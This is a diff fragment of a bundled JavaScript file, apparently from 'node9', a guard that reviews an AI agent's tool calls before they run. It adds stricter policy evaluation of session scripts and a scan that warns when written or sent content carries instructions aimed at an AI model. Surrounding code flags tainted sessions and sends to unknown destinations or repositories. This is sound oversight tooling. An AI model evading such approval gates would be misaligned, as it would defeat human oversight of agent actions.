- argumentScan: argScan
17701
- });
19068
+ const evaluateCurrentPolicy = async (skipIgnoredFastPath = false) => {
19069
+ const own = await evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
19070
+ fileAccess,
19071
+ config,
19072
+ skipIgnoredFastPath,
19073
+ argumentScan: argScan
19074
+ });
19075
+ if (!sessionScript || own.decision === "block") return own;
19076
+ const inner = await evaluatePolicy2("Bash", sessionScript.args, meta?.agent, options?.cwd, {
19077
+ fileAccess: sessionScript.fileAccess,
19078
+ config,
19079
+ skipIgnoredFastPath
19080
+ });
19081
+ if (VERDICT_RANK2[inner.decision] <= VERDICT_RANK2[own.decision]) return own;
19082
+ return fromScript(inner, sessionScript.path);
19083
+ };
17702
19084
  if (fileFinding) {
17703
19085
  meta = { ...meta, ruleName: fileFinding.ruleName };
17704
19086
  hashAuditArgs = true;
@@ -17791,6 +19173,15 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17791
19173
  taintWarning = `\u26A0\uFE0F node9 flagged this session \u2014 earlier tool output contained ${sessionTaint.record.source}. Approve this ${kind} action before it proceeds.`;
17792
19174
  }
17793
19175
  }
19176
+ if (!taintWarning && config.policy.injectionScan?.enabled && !isManual) {
19177
+ const sends = isMcpToolName(toolName) && extractArgDestinations(args).length > 0;
19178
+ if (isWriteTool(toolName) || sends) {
19179
+ const m = scanInjection(argumentLeavesText(args), { untrusted: false });
19180
+ if (m && (m.confidence === "medium" || m.confidence === "high")) {
19181
+ taintWarning = `\u26A0\uFE0F node9: the content this call ${isWriteTool(toolName) ? "writes" : "sends"} carries instructions aimed at an AI model (${m.signals.join(", ")}). Approve only if that is what you meant.`;
19182
+ }
19183
+ }
19184
+ }
17794
19185
  let exposureReview = null;
17795
19186
  let exposureKeys = [];
17796
19187
  let exposureDestinations = [];
@@ -17904,7 +19295,7 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17904
19295
  const parts = held.map(
17905
19296
  (h) => h.dest ? `sends to ${destinationValue(h.dest)}, ${h.why === "appeared in what was read" ? `${noun(h.dest)} that appeared in that ${last ? readWord : "content"}` : `${noun(h.dest)} this session did not know`}` : h.why === "repository" ? h.repo.endsWith("/*") ? `sends to a repository on ${h.repo.slice(0, -2)} it does not name (a gist, a new repository or an API call)` : `sends to ${h.repo}, a repository that is not one of this project's remotes` : h.why === "unresolved" ? "sends to a destination this session cannot see (built at run time, or a remote of another repository)" : `is ${bare}, a destructive call, with no known destination`
17906
19297
  );
17907
- const home = os18.homedir();
19298
+ const home = os19.homedir();
17908
19299
  const short = (p) => p.startsWith(home + "/") ? "~" + p.slice(home.length) : p;
17909
19300
  for (const w of writeHolds) {
17910
19301
  parts.push(